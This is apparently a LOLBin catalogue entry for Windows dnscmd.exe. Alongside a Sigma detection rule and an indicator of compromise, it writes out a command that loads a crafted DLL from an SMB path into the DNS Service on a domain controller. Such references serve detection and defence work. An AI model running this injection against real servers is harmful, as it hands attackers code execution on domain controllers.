A command-line interface for managing DNS servers Located at: C:\Windows\System32\Dnscmd.exe; C:\Windows\SysWOW64\Dnscmd.exe.
dnscmddnscmdSandbox: execFile · Timeout: 30s
security.execution.command Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details. (Remotely inject dll to dns server)
dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}| Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml |
| ioc | Dnscmd.exe loading dll from UNC/arbitrary path |
dnscmd is a Windows LOLBin. A command-line interface for managing DNS servers Located at: C:\Windows\System32\Dnscmd.exe; C:\Windows\SysWOW64\Dnscmd.exe.